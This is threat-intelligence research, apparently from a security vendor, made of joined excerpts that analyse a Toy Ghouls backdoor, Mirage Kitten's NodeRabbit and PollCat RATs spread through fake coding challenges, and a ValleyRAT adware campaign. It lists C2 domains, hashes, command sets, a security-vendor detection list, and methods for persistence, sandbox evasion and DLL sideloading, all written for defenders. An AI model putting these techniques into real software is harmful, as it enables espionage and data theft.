Commands are executed via PowerShell.exe in hidden mode, using the -NonInteractive -NoProfile -Command parameters.
Command execution results are sent to the command server at
broker.hivemq.com:8883/[cluster_id]/cmd/res in the
{"stdout":"str","stderr":"str","exit_code":int,"duration_ms":int} format.
For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:
Once a connection is successfully established, the backdoor sends an m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.
At intervals defined in the configuration file, information about the compromised system is sent as an m.bird.metrics message. Field names are slightly different from those in the first version:
{cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
This version of the backdoor supports two types of commands, distinguished by the start of the received message.
To set a new interval for sending metrics, the attackers send a message beginning with config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.
Messages containing commands to execute begin with the string cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.
Received commands are executed via the Windows command line interface.
Command output is sent as an m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.
Takeaways
We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.
While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia.
NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives.
During the same investigation, we discovered another previously undocumented malware family that we dubbed PollCat. Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives.
Mirage Kitten has historically relied on native malware written in languages such as C, C++, and Go, often deploying it through DLL search-order hijacking. NodeRabbit and PollCat represent the first publicly documented use of Node.js- and JavaScript-based malware by this APT group.
Kaspersky’s products detect this threat as Trojan.JS.MirageKitten.*
Background
During recent threat research, we detected suspicious activity on a system in Afghanistan. We traced it to an archive containing a software development project that the user may have received during a job application process. The archive purported to contain a coding challenge for candidates applying for an engineering role.
The archive, Front-Technical-Challenge.zip (MD5: 1EA83E4E4592B01E4ACAB63EB867BEE5), was hosted in an Amazon S3 bucket at: https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip
It contained TaskFlow, an app for software engineering assessment built with Express, React, and Vite. The accompanying README instructed the candidate to review the application and fix defects in its frontend. It also claimed that server.js was bug-free and should not be modified, conveniently directing attention away from the only application source file the attackers had altered.
README file for a trojanized coding challenge app
The README also imposed a three-hour time limit and prohibited the use of AI assistants. Notably, an AI code-review assistant tasked with auditing the project would likely have flagged the suspicious first-line import of an unknown npm package and warned the targeted developer that the project was trojanized.
Rules and time limit included in the trojanized coding challenge app README file
The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0. The attackers bundled the package directly in the challenge task archive’s node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process.
Retrospective threat hunting across our telemetry revealed the broader scope of the campaign. We identified three NodeRabbit variants with a shared code lineage; each was recovered from a system in a different country. The operators delivered the variants through similarly themed coding challenges and used two trojanized packages, colorized_terminal and pretty-log, both pinned to version 2.1.0.
The campaign also delivered PollCat, a second RAT with a substantially different structure, through a separate coding challenge lure. We’ll analyze PollCat later in this research.
Initial access
The infection chain begins with fake recruiter accounts contacting prospective targets on a job search platform. According to a publicly cited source, a threat actor posing as a talent acquisition specialist at a major technology company contacted a software engineer and advertised a job opening, inviting the target to complete a technical assessment.
The target received a link to a coding challenge hosted on Amazon S3 and was pressured to download and run the project immediately. This public post matches the delivery chain we reconstructed from our telemetry: recruiter outreach on a job search platform, a coding challenge presented as a technical assessment, and a trojanized project archive hosted on legitimate cloud infrastructure.
NodeRabbit RAT: the first variant
We discovered the first NodeRabbit variant on a system in Afghanistan. The malware was concealed within the TaskFlow assessment at node_modules/.cache/.320697f1/index.js and executed by the trojanized colorized_terminal package.
Once running, NodeRabbit generates a unique agent identifier from available host information. It calculates the SHA-256 hash of the hostname, username, operating system version, architecture, and MAC address, then truncates the result to its first 32 hexadecimal characters.
NodeRabbit binds a TCP listener to 127.0.0.1:48739. This listener acts as a single-instance mechanism. If the malware cannot bind to the port, it assumes that another instance is already running and terminates silently.
NodeRabbit uses a persistence mechanism for each operating system:
Operating system
Persistence mechanism
Windows
Copies itself to %APPDATA%\Microsoft\EdgeUpdate\msedge_update.js; clones the local node.exe to nodew.exe in the same folder and patches its PE subsystem from Console to Windows GUI to suppress the console window; creates HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate registry key executing nodew.exe msedge_update.js
Linux
Copies itself to ~/.config/microsoft-edge-update/msedge_update.js and creates an @reboot cron entry that invokes the script using the current Node.js executable.
macOS
Copies itself to ~/.config/microsoft-edge-update, creates ~/Library/LaunchAgents/com.microsoft.edgeupdate.plist configuration file pointing at the copy’s location with RunAtLoad and KeepAlive parameters, and attempts to load it.
The malware communicates with its command-and-control servers through three API endpoints, choosing from the following Azure-hosted C2 infrastructure addresses. On failure, it switches to the next C2 address:
NodeRabbit serializes each C2 request object as JSON and wraps it with AES-256-GCM. The AES key is the SHA-256 digest of an ASCII seed embedded into the agent. Every request uses a fresh 12-byte IV and a 16-byte authentication tag:
The malware sends encrypted requests using the following structure:
C2 responses are structured the same way and may contain a command to execute. We observed the first NodeRabbit variant supporting 11 commands:
Command
Functionality
sys:info
Return hostname, domain user information, username, and process ID.
proc:list
List running processes.
proc:start
Execute an arbitrary shell command.
fs:list
List a directory.
fs:read
Read a file in chunks and return Base64 data.
fs:write
Decode Base64 and write it at a chosen file offset.
fs:delete
Delete a file or recursively delete a directory.
fs:mkdir
Create directories recursively.
net:config
Enumerate adapters, MAC addresses, IP addresses, and DNS settings.
agent:sleep
Change the beacon interval.
script:exec
Write a base64 Node.js script to a randomly named .tmp file, execute it and delete it.
NodeRabbit RAT: the second variant
Retrospective threat hunting following the discovery in Afghanistan led us to a second infection on a system in Egypt. This sample is a more advanced NodeRabbit variant, launched through the trojanized pretty-log package instead of colorized_terminal.
Before running its core functionality, the malware checks whether the host resembles an analysis environment. It terminates if it detects limited system memory, a low CPU count, short system uptime, analyst-associated usernames or hostnames, or common analysis tools running on the system.
Before terminating, the malware generates benign HEAD requests to www.google.com, www.microsoft.com, and www.cloudflare.com, then exits without ever contacting its C2 infrastructure. Most likely, it attempts to look less suspicious by showing some benign activity before exiting.
Variant 2 implements partial corporate proxy support: it checks HTTP(S) proxy environment variables, Windows Internet Settings, including an explicit PAC URL, and WinHTTP configuration; tunnels its HTTPS C2 through HTTP CONNECT. It first tries to establish an unauthenticated connection. If it fails, it retries using URL-embedded basic credentials. Finally, it delegates Windows NTLM/Negotiate challenges to curl.exe --proxy-anyauth --proxy-user. It caches the proxy-discovery result, including when no proxy is found, for five minutes. If the polling loop detects a network-interface or IP-address change, it clears the cache and runs proxy discovery again on the next checkin.
To make sure a single instance is running, Variant 2 uses a host-specific port derived from the agent identifier instead of the fixed TCP port used by the first variant. It interprets the first four hexadecimal characters of the identifier as an integer and applies the following calculation: 41984 + (value mod 5000).
The resulting listener port falls between 41984 and 46983. Unlike the shared port used by Variant 1, this port varies depending on the infected host.
For persistence, Variant 2 masquerades as Intel Driver & Support Assistant. The exact persistence mechanism, once again, depends on the operating system.
Operating system
Persistence mechanism
Windows
Copies itself to %LOCALAPPDATA%\Intel\DSA\idriver_support.js. It then copies the local node.exe binary to IntelDSA.exe and changes its PE subsystem from Console to Windows GUI, suppressing the console window. Finally, it creates a scheduled task named IntelDriverSupportUpdate, which runs daily at 10AM and executes IntelDSA.exe with the dropped script.
Linux
Copies itself to ~/.config/intel-dsa/idriver_support.js and creates an @reboot cron entry.
macOS
Copies itself to ~/Library/Application Support/Intel DSA/idriver_support.js and creates the LaunchAgent com.intel.dsa.helper with RunAtLoad and KeepAlive enabled.
NodeRabbit RAT: the third variant
Further threat hunting identified a third NodeRabbit variant on a system in Ethiopia. Like the second variant, it is launched through the trojanized pretty-log package. It retains much of the previous variant’s functionality but introduces significant changes to its command-and-control configuration, command set, and persistence mechanisms.
The third variant communicates with its C2 infrastructure through a different set of API endpoints:
Method
Endpoint
Purpose
POST
/sdk/v2/ready
Register agent and host info
POST
/sdk/v2/config
Poll for commands
POST
/sdk/v2/events
Submit results
We observed the malware using a C2 chain composed of Azure- and Cloudflare-hosted domains.
For persistence, Variant 3 implements the following mechanisms depending on the operating system in use:
Operating system
Persistence mechanism
Windows
Attempts to copy the payload to ProgramData or LocalAppData, create a build-specific daily 10AM task, and start the copied payload. To choose the exact directory, it tries to list C:\Windows\System32\config. If successful, it selects ProgramData with /ru SYSTEM /rl highest; in case of a failure, it selects LocalAppData without explicit /ru or /rl settings.
macOS
Copies the payload to ~/Library/Application Support, creates and loads a RunAtLoad/KeepAlive LaunchAgent and starts the copied payload.
Linux
Copies the payload to ~/.local/share, attempts to add an @reboot cron entry, and starts the copied payload. If crontab -l fails, persistence is skipped.
WSL
Uses the payload copied for persistence on the main Linux system, as described above. Writes launcher.vbs under the Windows user profile, and creates a daily 10AM Windows task that relaunches it through wscript.exe and wsl.exe.
A new command, agent:servers, replaces the active in-memory C2 server list and can write the updated list to .sv.json. The third variant retains the original 11 commands and adds 12 new ones, bringing the total to 23.
New commands
Functionality
fs:drives
Enumerate accessible Windows drive letters or WSL-mounted drives
proc:exec
Execute a process
proc:kill
Kill process by PID or image name
agent:servers
Replace the active C2 and attempt to keep the new configuration
agent:getchain
Return the current C2
outlook:emails
Harvest account addresses from Outlook OST and PST artifacts
persist:check
Check selected VS Code, scheduled-task, and Run-key persistence indicators
persist:vscode
Attempt to install a fake VS Code extension and Windows Run value
persist:vscode:remove
Remove the fake extension
persist:projects:scan
Search recent and common development locations for Git repositories
persist:project:inject
Inject a launcher into a repository’s Git hooks
persist:project:remove
Remove the marked Git-hook launcher
Beyond the persistence mechanisms described above, Variant 3 introduces two additional persistence mechanisms that relaunch the malware through common developer workflows.
1. Malicious VS Code extension
The persist:vscode command first copies the payload to its build-specific install path. If a compatible extension directory exists, it creates a fake extension displayed as GitHub Copilot Helper, with the description AI coding assistant helper service and the activation event on StartupFinished.
The extension’s extension.js file attempts to start the installed payload as a detached Node.js process. To look less suspicious to the user, it uses a trusted publisher name borrowed from local extension metadata or a trustedPublishers value found in state.vscdb. However, no signature or trusted status is copied.
Separately, the handler tries to disable Workspace Trust if the VS Code User directory exists. On Windows, it attempts to establish persistence using a current-user Run registry key value even if the extension directory is missing.
2. Git hook injection
Git-hook persistence works in two steps. First, persist:projects:scan checks recent VS Code workspace paths directly. Under common locations such as ~/projects and ~/source, it checks only the first 60 immediate children, not the root itself, and returns no more than 20 repositories.
For a selected repository, persist:project:inject appends a marked launcher to .git/hooks/post-merge and .git/hooks/post-checkout by default. The marker is # shepherd-persist; the line following the marker attempts to start the installed payload with Node in the background. A later Git operation must trigger one of those hooks, and the referenced Node executable and payload must still exist.
PollCat RAT
While tracking NodeRabbit infections, we discovered another malicious tool we dubbed PollCat, which is also distributed under the guise of a programming challenge. The sample we obtained resides inside RankChallenge-react, a React code-fixing challenge presented as a time-limited developer assessment. Running the project invokes npm i && node index.js, which starts the local application and attempts to open the challenge in the user’s browser.
Although the visible exercise is not a security CTF, the project uses CTF terminology in several places. The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf. These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components.
README instructions and challenge overview included in the trojanized React coding project
The PDF tutorial contained in the same archive as the project tells the target to click Continue, enter a six-digit OTP code, and complete the challenge within a one-hour session. It states that codes are supplied by the recruiter, are single-use, and expire quickly; the visible login page also claims that codes rotate every 30 seconds. In the delivery scenario described by the investigation, the threat actor posing as a recruiter could provide the code directly to the targeted developer. This gives the operator control over access to the lure, while the expiring code and countdown create a sense of urgency, pressuring the target to run the project and complete the assessment quickly, potentially accelerating the infection process.
One-hour session window enforced by the trojanized coding challenge
The bundled .env file contains the JWT signing secret, OTP service URL, and OTP client ID.
Configuration embedded in .env file of the trojanized coding project, including the OTP service URL and client identifier
The application forwards submitted codes to an attacker-managed domain registered in late June-2026: https://lifespotify[.]com/api/users/b879746e-fed9-4211-a6da-4d8223681267/otp/validate.
That said, PollCat starts independently of the OTP authentication process. During application startup, app.js loads requireAuth.js, which imports and immediately starts the malicious requireObjects.js component. PollCat can therefore begin C2 registration and command polling while the application is still loading, before the user enters an access code.
A failed OTP validation prevents the user from accessing the protected challenge features, but PollCat continues running in the background. A successful OTP validation issues a JWT and creates another worker that starts an additional PollCat instance. The first authenticated request also triggers the persistence attempt.
Persistence starts when the first request carrying a valid JWT reaches the protected middleware. PollCat then uses one of the following methods:
Operation system
Persistence mechanism
Windows
Writes package.json and requireObject.js to %APPDATA%\Microsoft\Network, runs npm install, and creates a daily task named NetSync_<username> and scheduled for 09AM that runs the worker with Node.js.
Linux
Writes the worker to ~/.node_packages, runs npm i, and appends both a daily 09AM cron line and an @reboot line.
macOS
Uses the same ~/.node_packages copy and cron path, then creates and loads ~/Library/LaunchAgents/com.harsh.requireobject.plist with RunAtLoad and a daily 09AM trigger.
Once active, PollCat identifies the host as 129--<hostname> and iterates over the following C2s until registration succeeds:
After registration, PollCat sends host information to /gate/hello, polls /gate/fetch for commands, and returns results through /gate/submit. All endpoints in use are presented in the table below.
Method
Endpoint
Purpose
POST
/beacon
Register the client and obtain a socketId and optional timing values.
POST
/gate/hello
Submit host, user, domain, OS information, and its current privilege level.
GET
/gate/fetch?token=<socketId>
Poll for commands.
POST
/gate/submit
Submit a Base64-encoded command-result structure.
GET
/vault/<uuid>
Retrieve a hosted file and write it to the victim machine.
PUT
/vault/push/
Upload a local file or file chunk to the C2.
POST
/gate/track
Report chunk-upload progress.
By default, PollCat RAT polls every two minutes with up to five seconds of jitter. Commands and results are stored as little-endian binary records and carried as Base64 text.
PollCat RAT declares 22 commands, but three of them have no implementation:
Command
Functionality
0x02 (DIR)
List a directory.
0x03 (MV)
Move a file or directory.
0x04 (RUN)
Execute a shell command.
0x05 (TASKLIST)
List running processes.
0x06 (DEL)
Delete a file or directory.
0x07 (UPLOAD)
Download a file from the C2 to the victim’s machine.
0x08 (DOWNLOAD)
Upload a local file to the C2.
0X09 (DRIVES)
List drives, volumes, or mount points.
0X0A (TERMINATE)
Terminate a process by PID.
0X0B (RUNDLL)
Load a DLL and call an exported function on Windows.
0X0C (MKDIR)
Create a directory.
0X0D (ZIP)
Create or extract a ZIP archive.
0X0E (CHUNKED_DOWNLOAD)
Upload a local file in chunks.
0X0F (RUN_HIDDEN)
Start a hidden background process.
0X20 (EVAL_JS)
Execute JavaScript supplied by the C2.
0X30 (SYSTEM_CHECK)
Collect process and software inventory.
0XA1 (WS_DOWNLOAD)
Defined but not implemented.
0xB0 (REQUEST_ELEVATION)
Defined but not implemented.
0XB1 (PERSIST)
Defined but not implemented.
0xF0 (SET_SLEEP_TIME)
Change the polling interval.
0XF1 (SET_IDLE_TIME)
Store an idle-time value.
0xF2 (SET_JITTER_TIME)
Change polling jitter.
The command names UPLOAD, DOWNLOAD, and CHUNKED_DOWNLOAD are written from the C2’s perspective. UPLOAD sends a C2-hosted file to the victim’s machine, while the two download commands transfer victim files back to the C2.
EVAL_JS runs JavaScript supplied by the C2 and gives that code access to Node.js modules, files, processes, networking, and child-process functions. SYSTEM_CHECK collects the names of running processes and lists files and folders from:
%SystemDrive%\Program Files
%SystemDrive%\Program Files (x86)
%LOCALAPPDATA%
%LOCALAPPDATA%\Programs
%APPDATA%
%USERPROFILE%
%APPDATA%\Microsoft\Outlook
%LOCALAPPDATA%\Microsoft\Olk\Attachments
%USERPROFILE%\Documents
It also searches for folders matching 24 hardcoded strings corresponding to security software vendor names: ‘Google’, ‘Microsoft’, ‘Palo Alto Networks’, ‘Cisco’, ‘VMware’, ‘Fortinet’, ‘Citrix’, ‘CheckPoint’, ‘Juniper Networks’, ‘LogMeIn’, ‘Sophos’, ‘Symantec’, ‘Trend Micro’, ‘McAfee’, ‘Kaspersky Lab’, ‘ESET’, ‘Bitdefender’, ‘Avast Software’, ‘CrowdStrike’, ‘SentinelOne’, ‘Malwarebytes’, ‘BraveSoftware’, ‘Tencent’, and ‘Naver’.
When PollCat finds a matching folder, it lists that folder’s root contents. It does not recursively scan the entire product directory. The detailed inventory, including process names, directory listings, and collected paths, is sent as JSON to POST /api/system-details/result.
Infrastructure
Mirage Kitten continues to rely on Azure Websites and Cloudflare-backed domains to hinder infrastructure discovery and tracking. More importantly, the use of Microsoft Azure subdomains for C2 helps the traffic blend into legitimate organizational network activity. In some cases that we encountered during our research, the actors even incorporated the targeted organization’s name into the Azure subdomain, making C2 communications appear more like normal business traffic originating from an employee machine during regular business days.
Based on our analysis of Mirage Kitten’s infrastructure, we identified certain patterns across several command-and-control channels, including msmanagementgrp[.]com and visitfinancedentists[.]com
Further investigation based on these patterns led to the discovery of approximately 11 additional infrastructure assets attributed to the same group.
Domain
Creation date
Registrar
healthful-hub[.]com
2026-07-03
NameCheap, Inc.
neumedicahealthcare[.]com
2026-07-03
NameCheap, Inc.
optimumhealthcredit[.]com
2026-07-03
NameCheap, Inc.
healthfullyrecipes[.]com
2026-06-30
NameCheap, Inc.
refreshhealthandwellness[.]com
2026-06-09
NameCheap, Inc.
healthvitalitycare[.]com
2026-05-18
NameCheap, Inc.
aceofspadesmanagement[.]com
2026-05-18
NameCheap, Inc.
glmediaagency[.]com
2026-05-18
NameCheap, Inc.
digimediaskill[.]com
2026-05-18
NameCheap, Inc.
healthyweightplan[.]com
2026-05-18
NameCheap, Inc.
mens-health-online[.]com
2026-05-15
NameCheap, Inc.
Victims
Based on our telemetry, we identified victims in fintech, aviation and aerospace sectors across the Middle East and Africa – specifically, in Egypt, Ethiopia and Afghanistan.
We also observed submissions of ZIP archives with trojanized projects containing NodeRabbit and PollCat to an online multi-scanner originating from several countries, including India, Türkiye, Israel, Iraq, Germany, and Ireland.
Attribution
We attribute this activity to Mirage Kitten with a high degree of confidence based on the following observations:
Structural similarities with the Retrograde/MiniFast native DLL backdoor (MD5:810F8E3B88EB05F710C09552941D6F56)
Initial C2 handshake and session establishment logic. Both PollCat and Retrograde/MiniFast follow a similar C2 handshake flow. Each builds a JSON request body containing host information and sends it via an HTTP POST request. Notably, both treat HTTP 400 as a successful handshake response rather than an error, parsing the response body to extract a socketId, which is then stored and used as the session token for subsequent C2 communication.
Similar C2 handshake and socketId session establishment logic in MiniFast/Retrograde and PollCat
Host registration. Both PollCat and Retrograde/MiniFast register the infected host with the C2 server by sending a structurally similar JSON request body containing the session token and host information.
Command fetching similarities. The similarities extend to command retrieval. Both PollCat and Retrograde/MiniFast periodically poll the C2 server using an HTTP GET request containing the previously assigned socketId as a token. Retrograde/MiniFast uses GET /agent/poll?token=<socketId>, while PollCat follows the same pattern with GET /gate/fetch?token=<socketId>, demonstrating a closely aligned C2 communication structure.
Beacon timing similarities. PollCat and the Retrograde/MiniFast share identical beacon timing defaults: a polling interval of 120,000 ms (0x1D4C0), a jitter of 5,000 ms (0x1388), and a retry timeout of 60,000 ms (0xEA60). This further highlights the structural similarities between the two C2 communication implementations.
Command set similarities. PollCat and Retrograde/MiniFast share several commands and command IDs. Notably, PollCat declares REQUEST_ELEVATION (0xB0) and PERSIST (0xB1) but does not implement them. In MiniFast, both are functional: 0xB0 performs UAC elevation, while 0xB1 creates the WindowsSecurityUpdate scheduled task for persistence.
Command set similarities between MiniFast/Retrograde and PollCat, including shared command identifiers
Proxy authentication similarities. NodeRabbit delegates corporate-proxy NTLM/Negotiate authentication to curl.exe --proxy-anyauth --proxy-user, using the victim’s logon session. Retrograde/MiniFast native DLL implements the same approach natively through WinHttpQueryAuthSchemes and WinHttpSetCredentials with NULL credentials. This shared proxy-aware C2 design suggests the same development approach across both malware families.
Speaking of victimology, the attacks are consistent with Mirage Kitten’s known geographic targeting, with the group maintaining a strong focus on entities across Africa and the Middle East, this time with a particular focus on the aviation and FinTech sectors.
As for the operational infrastructure, Mirage Kitten has historically hosted its initial ZIP lures on legitimate third-party services. Previously, it used onlyoffice.com for this purpose. In this activity, the group shifted to Amazon S3 buckets.
Finally, the combination of Azure Websites and Cloudflare‑backed domains has been a hallmark of Mirage Kitten’s TTPs, which we have observed across NodeRabbit and PollCat.
Conclusions
Mirage Kitten’s latest activity marks a notable evolution in the group’s tooling: NodeRabbit and PollCat are the group’s first Node.js/JavaScript-based implants, departing from its usual native malware deployed through DLL search-order hijacking. The shift to cross-platform scripting gives the operators a single codebase that runs on Windows, Linux, and macOS, with payloads that blend naturally into developer workstations.
The delivery mechanism, however, remains consistent with Mirage Kitten’s historical tradecraft: the use of recruiter personas on LinkedIn to target critical sectors across the Middle East and Africa for cyberespionage purposes. We continue to track the group’s activity and will report on new developments in future publications.
Attackers typically try to pass off malware as legitimate applications or as potentially unwanted programs that users deliberately search for and download, such as cheats or cracks. They often rely on ad and affiliate networks to deliver their creations to victims’ devices. This post examines a less conventional case: a well-known backdoor distributed under the guise of adware. The attackers may have chosen this distribution method because the adware was signed by the developer. On top of that, users often manually add these apps to exclusions, so their useful features don’t get blocked.
Some time ago, a client asked us to analyze a file with the MD5 hash c24e99f9437feacaa63766a3cde3fe3d and add it to our detection database. We initially classified it as adware, but a cursory analysis turned up suspicious network activity, which prompted us to dig deeper. It turned out the sample did far more than serve ads. In fact, its advertising functionality doesn’t even work; instead, it triggers an infection chain that delivers the ValleyRAT backdoor.
Malicious installer
The file the client shared with us turned out to be an installer that performed different actions depending on the two-letter suffix used in the file name, positioned just before the numeric string.
Installer name
What it does
FS_SETUP_DD_173.exe
Installs DingTalk, a workplace collaboration platform
FS_SETUP_GG_173.exe
Installs Google Chrome
FS_SETUP_HY_173.exe
Opens hxxps://meeting[.]tencent[.]com/download/
These actions are most likely designed to divert the user’s attention away from the sample’s malicious functionality. Regardless of the file name, the installer deploys a modified Chinese desktop wallpaper management tool called QN Wallpaper (hxxps://qnwallpaper[.]keansoft[.]cn/) and adds it to the registry’s autorun entries.
The original version of QN Wallpaper is genuine adware: on installation, it delivers bundled partner apps to the device and then displays ad banners to the user. In this case, however, the attackers use it to carry out DLL sideloading, a technique that allows malicious code to run under the guise of a signed process by way of a malicious DLL.
The QN Wallpaper modules, along with the malicious components, are unpacked to C:\Program Files\QNWallpaper\5.4.0.1662\<random string of letters and digits>. The following files are saved in that directory:
File name
MD5
Purpose
1.zip
7ad1e3ef4e6d9d636c9e7e967733850e
Archive containing the adware files QnWallpeper.exe and QnwPlayer.exe, along with the modules needed to run them
7z.dll
96b4c1d0683dce22bd3223e1e40689c1
7z archiver library
7z.exe
9b86d3ab6cef15c633933fbbeab39c0a
Archiver
chrome_elf.dll
edfdc30cbd85879776b8f735ea7de1f1
Library used to launch Electron-based applications
libcef.dll
07ddbbe2c71c45577a7a4fbcdba0df91
Malicious library
PeLoader
48826d5ca845979d2e6ebd66dc1aae90
File containing the encrypted backdoor
QnWallpaper.exe
6c158c0f8e029342192d4f0d72e102b7
Adware module
QnwPlayer.exe
9a71d6a41cd258b9e89cdc5fc224de73
Adware module
<random string of letters and digits>Nedca.exe
c24e99f9437feacaa63766a3cde3fe3d
Malicious installer copy
After unpacking, the installer uses the DisableAntiSpyware registry key to disable Windows Defender and then launches QnWallpaper.exe.
Disabling Windows Defender
DLL Sideloading via libcef.dll
QnWallpaper.exe has dependencies in libcef.dll, so this library gets loaded when the process starts. QnWallpaper.exe also launches QnwPlayer.exe, which likewise calls libcef.dll.
QnWallpaper and QnwPlayer won’t actually function correctly, because the functions exported from libcef.dll are put into an infinite sleep. However, in case that sleep is ever interrupted, the attackers have implemented a function that loads all the necessary functions from the original library into memory, provided it can locate that library on the system.
Example of an exported function
Loading functions from the original libcef.dll
The malicious functionality in libcef.dll is invoked by a call to DllMain, which runs automatically when the library is loaded. That said, alongside the original exports, the library also contains a function named RunDLL, which likewise initiates execution of the malicious code. QnWallpaper never calls this function. We suspect the attackers intended to invoke it manually via rundll32 or planned to use a separate executable for this purpose, one that wasn’t included in the package downloaded by the sample.
The RunDLL function
Running the malicious code
When the library is loaded, code runs that ensures QnWallpaper.exe persists at startup: it adds a file extension association and drops a file with the corresponding extension in C:\Documents and Settings\<username>\Start Menu\Programs\Startup\.
This is followed by a chain of wrapper functions whose main job is to call the next one. Execution eventually reaches the function that contains the actual malicious code. For convenience, we’ll refer to it as mw_entry.
Inside mw_entry, the malware checks two things:
Whether the current user belongs to the Administrators group
Which process the DLL is running inside
Checking for administrator privileges
If the user isn’t a member of the Administrators group, the program attempts to obtain administrator privileges by using the runas utility.
Relaunching the process to obtain administrator privileges
Once it has administrator privileges, the malicious code determines which process the DLL has been loaded into, and selects the payload accordingly:
If the library is running inside QnWallpaper.exe, the payload is loaded from the PeLoader file.
Encrypted payload
If the library is running inside QnwPlayer.exe, the payload is loaded from libcef.dll resources.
Retrieving the payload from a resource
Both payloads are AES-encrypted DLLs that contain the ValleyRAT backdoor. The only difference between them is their configuration, specifically, the C2 server addresses. After decryption, libcef.dll checks the magic signatures in the resulting PE file’s headers to confirm the sample is valid. If this check fails, the library releases its resources and takes no further action.
Validating the PE file headers after decryption
If the headers check out, libcef.dll loads the payload into the process’s memory space and hands control over to the backdoor by calling DllMain.
Calling DllMain
ValleyRAT
ValleyRAT begins its operation by parsing its configuration, which consists of key:value pairs concatenated into a single string. To obfuscate this configuration, the attackers wrote the string in reverse.
Obfuscated configuration
During parsing, the backdoor restores the correct character order and reads the key values one by one. The set of keys is the same regardless of which process the backdoor is running in.
Parsing the configuration
Some of the configuration fields are listed below:
Key
Description
p?
C2 server IP address
o?
C2 server port
t?
Protocol (1: TCP, 0: UDP)
dd
Sleep duration before executing the main code
cl
Sleep duration after receiving the corresponding command from the server
bz
Configuration creation date
bh
Whether to mark the current process as critical (so that terminating it triggers a blue screen of death) Possible values: 1: yes, 0: no
ll
Whether to check for running security/traffic-analysis tools/processes (1: check, 0: do not check)
sh
Whether to inject code into svchost that will restart the malicious process (1: inject, 0: do not inject)
The backdoor uses several techniques to protect its process. Some are configuration-dependent, while others are always applied:
Injecting code into svchost to restart the process: a configurable option. The backdoor allocates memory inside the svchost process, injects code into it, and sets PAGE_NOACCESS permissions on the memory page containing the injected data. It then creates a suspended thread, waits 60 seconds, grants read, write, and execute permissions on the page, and resumes the thread.
Injecting code into svchost
The function injected into the process has a single job: restart the backdoor if its execution is interrupted for any reason.
Injected function
Marking its own process as critical (so that terminating it triggers a blue screen of death): a configurable option.
Setting its own process as critical
Restarting on an unhandled exception. This protection mechanism is always active, regardless of the backdoor’s configuration.
Restarting on exceptions
The backdoor also has spyware functionality. While running, it tracks keystrokes and the currently focused window by using functions from the DirectInput8 library. It also captures clipboard contents. All collected data is saved to a file on disk.
Capturing clipboard data
If the ll key in the configuration is set to 1, ValleyRAT periodically checks for active windows belonging to applications that could be used to analyze processes or traffic. Window enumeration is done via the EnumWindows function, using the following callback:
Window name checks
After completing these checks, the backdoor collects system information, including:
Host name
Host IP addresses
User idle time
Detailed Windows version information (ProductName, EditionId, DisplayVersion)
Number of CPU cores
Free disk space
Graphics adapter
Currently focused window and its title
System bitness
Language settings
Path to the system directory
On command, the backdoor can perform the actions typical of this malware category:
Rebooting the computer
Shutting down the computer
Taking a screenshot
Wiping logs
Updating its C2 addresses
Downloading additional modules
Sending keylogger logs along with clipboard contents
Snippet of the command handler
Let’s take a closer look at the module-loading functionality. Upon receiving the corresponding command with a link from its operator, the backdoor downloads the file at that link and executes it. The download can come from either the C2 server or a third-party address.
The DownloadPeFile function is responsible for downloading a PE file
The DownloadAndExecute function calls DownloadPeFile, then launches the downloaded module
Additional modules can take the form of purpose-built dynamic libraries or shellcode. If the payload is shellcode, the backdoor uses process hollowing with svchost to launch the module.
Implementation of the process hollowing technique
If the module is a dynamic library, the backdoor loads the PE file into its own process, calls DllMain, and searches for a Main function among the exported functions. Once Main has been called, the library is unloaded from memory.
Calling DllMain after the backdoor loads the PE file
Targets and attribution
Over the course of 2026, we detected the ValleyRAT backdoor and its associated malware more than 100,000 times, with more than 1500 unique users affected, primarily in China and India.
This attack geography, combined with the use of the ValleyRAT backdoor, points to Silver Fox, a known operator of this malware family, as the likely group behind the campaign.
Conclusion
This case is a clear example of how adware and affiliate networks can turn out to be far more dangerous than they appear. ValleyRAT is a sophisticated backdoor capable of collecting sensitive data such as keystrokes and clipboard contents, taking screenshots, and delivering additional malicious modules. The attackers exploited a well-known adware application to run the backdoor under the guise of a signed process, which complicates detection.
Motivated by both cyberespionage and financial gain, Silver Fox targets organizations across multiple countries. To stay protected, organizations should keep employee cybersecurity awareness up to date and enforce clear policies on the use of third-party software on work devices.
For individual users, we recommend avoiding the installation of software with a questionable reputation, and, even more importantly, never adding such software to your security solutions’ exclusion lists.
